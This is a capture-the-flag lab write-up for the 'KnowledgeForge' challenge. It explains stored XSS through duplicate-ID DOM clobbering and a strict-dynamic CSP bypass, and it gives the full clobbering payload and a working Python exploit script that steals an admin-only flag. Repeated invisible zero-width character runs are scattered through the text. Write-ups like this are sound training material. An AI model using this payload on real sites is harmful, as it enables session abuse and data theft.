← Back to Writeups
CUSTOMMediumWeb

Lab 284 — KnowledgeForge — Stored XSS via DOM Clobbering + CSP Bypass

XESXOR9/10/20264 min read
#web#custom#medium#duplicate_id_dom_clobbering#named_htmlcollection_access#same_origin_exfiltration#strict_dynamic_csp_bypass

Lab 284 — KnowledgeForge — Stored XSS via DOM Clobbering + CSP Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: duplicate_id_dom_clobbering, named_htmlcollection_access, same_origin_exfiltration, strict_dynamic_csp_bypass

Summary

Task: An Express article platform uses a clobberable ForgeHighlight configuration and a nonce-based strict-dynamic CSP. Solution: Duplicate anchors supplied a data-URI basePath to its trusted loader, and the admin flag was exfiltrated through comments.

Lab 284 — KnowledgeForge — Stored XSS via DOM Clobbering + CSP Bypass — hackadvisor

Description

Lab 284 — KnowledgeForge — Stored XSS via DOM Clobbering + CSP Bypass

KnowledgeForge is an Express article application behind nginx. The objective was to execute stored JavaScript in the privileged admin review session, read the protected flag, and recover it despite a nonce-based Content Security Policy (CSP).

Reconnaissance

The application returned this relevant policy with a fresh nonce:

text
default-src 'self'; script-src 'nonce-...' 'strict-dynamic'; ... connect-src 'self'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This blocked ordinary inline JavaScript and external callback requests. However, /robots.txt disclosed the privileged endpoint:

text
/api/admin/flag

The target used Express behind nginx and automatically sent an admin bot to review newly created content. An initial HTML-source value, FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}, was a decoy and was not the submitted flag.

Analysis

Vulnerable ForgeHighlight logic

The relevant behavior of /js/forge-highlight.js was:

javascript
const configEl = window.forgeHighlight ||
                 document.getElementById('forgeHighlight');
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if (configEl) {
    this.basePath = configEl.basePath ||
                    configEl.getAttribute('data-base-path');
}

document.querySelectorAll('pre code').forEach((block) => {
    const lang = /* language parsed from the block's class */;
    const script = document.createElement('script');
    script.src = this.basePath + '/lang-' + lang + '.js';
    document.head.appendChild(script);
});

The script treated a DOM-derived object as trusted configuration and used its basePath property to construct another script URL without validating its scheme or origin. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Duplicate-ID DOM clobbering

Two elements with the same id="forgeHighlight" cause the browser's named access behavior to expose an HTMLCollection as window.forgeHighlight. The collection is truthy, so the first branch of the configuration expression accepts it.

Named properties on that collection resolve elements by name. Therefore, if the second duplicate anchor has name="basePath", then configEl.basePath returns that anchor. When concatenated into the script URL, the anchor is converted to its absolute href string: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

html
<a id="forgeHighlight"></a>
<a id="forgeHighlight" name="basePath" href="data:text/javascript,..."></a>

This turns the preserved id, name, and href attributes into an attacker-controlled script source without requiring a <script> tag or event handler.

Why strict-dynamic did not stop execution

ForgeHighlight itself was loaded by a nonce-bearing script trusted by the page CSP. With 'strict-dynamic', scripts dynamically created by an already trusted script inherit that trust; host and scheme allowlists do not protect the child load. ForgeHighlight consequently authorized the attacker-controlled data:text/javascript script by creating and appending it itself. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The loader always appended /lang-plaintext.js to basePath. The data URI ended with a URL-encoded newline followed by //, so the final source was effectively:

javascript
ATTACKER_CODE
///lang-plaintext.js

A plaintext code block ensured that this loader path was reached.

Solution

Exploit flow

  1. Authenticate as the supplied normal user.
  2. Build JavaScript that fetches /api/admin/flag under the visitor's session.
  3. POST the returned JSON to the current article's comments API.
  4. URL-encode the JavaScript into a data:text/javascript, URI ending in %0A//.
  5. Store two forgeHighlight anchors, with the second named basePath and pointing to that URI.
  6. Add a language-plaintext code block to trigger ForgeHighlight's dynamic language loader.
  7. Create the article and wait for automatic admin review.
  8. Read the admin bot's exfiltrated response from the article comments. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

External exfiltration was unsuitable because connect-src 'self' blocked callbacks to another origin. Posting to /api/articles/<current-id>/comments stayed same-origin and left the result readable to the article author.

The exact stored HTML was generated as follows:

python
js = (
    "fetch('/api/admin/flag').then(r=>r.json()).then(d=>"
    "fetch('/api/articles/'+location.pathname.split('/').pop()+'/comments',"
    "{method:'POST',headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({content:'ADMIN_FLAG:'+JSON.stringify(d)})}))\n//"
)
data_uri = "data:text/javascript," + quote(js, safe="")
content = (
    '<a id="forgeHighlight"></a>'
    f'<a id="forgeHighlight" name="basePath" href="{data_uri}"></a>'
    '<h2>Plaintext formatting test</h2>'
    '<pre><code class="language-plaintext">quality assurance sample</code></pre>'
)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Complete exploit

python
#!/usr/bin/env python3
import re
from urllib.parse import quote, urljoin

import requests

BASE = "https://47c291ce-6f5b-47b4-bb76-968506bfb6d0.labs.hackadvisor.io/"

s = requests.Session()
s.post(urljoin(BASE, "login"), data={
    "email": "user@test.com",
    "password": "password123",
}).raise_for_status()

# Keep all exfiltration same-origin because CSP connect-src is 'self'. A trailing
# JS line comment absorbs ForgeHighlight's appended /lang-plaintext.js suffix.
js = (
    "fetch('/api/admin/flag').then(r=>r.json()).then(d=>"
    "fetch('/api/articles/'+location.pathname.split('/').pop()+'/comments',"
    "{method:'POST',headers:{'Content-Type':'application/json'},"
    "body:JSON.stringify({content:'ADMIN_FLAG:'+JSON.stringify(d)})}))\n//"
)
data_uri = "data:text/javascript," + quote(js, safe="")
content = (
    '<a id="forgeHighlight"></a>'
    f'<a id="forgeHighlight" name="basePath" href="{data_uri}"></a>'
    '<h2>Plaintext formatting test</h2>'
    '<pre><code class="language-plaintext">quality assurance sample</code></pre>'
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

r = s.post(urljoin(BASE, "articles"), data={
    "title": "Plaintext Grammar Quality Test",
    "category_id": "1",
    "tags": "syntax,review",
    "content": content,
}, allow_redirects=False)
print("create status:", r.status_code, "location:", r.headers.get("Location"))
print(r.text[:500])

location = r.headers.get("Location", "")
match = re.search(r"/articles/(\d+)", location)
if match:
    print("ARTICLE_ID=" + match.group(1))
else:
    print("Could not identify article ID")

Verification

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The exploit created article ID 18. Its rendered HTML retained both duplicate IDs, the basePath name, and the data:text/javascript URL. Automatic admin review executed the payload, and a new article comment contained the genuine /api/admin/flag response:

text
FLAG{REDACTED}

Reference

The CTF Writeup analog 20260503_hackadvisor_prosepad_dom_clobbering_xss confirmed the duplicate-anchor, named-property, data-URI, and same-origin comment exfiltration pattern. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍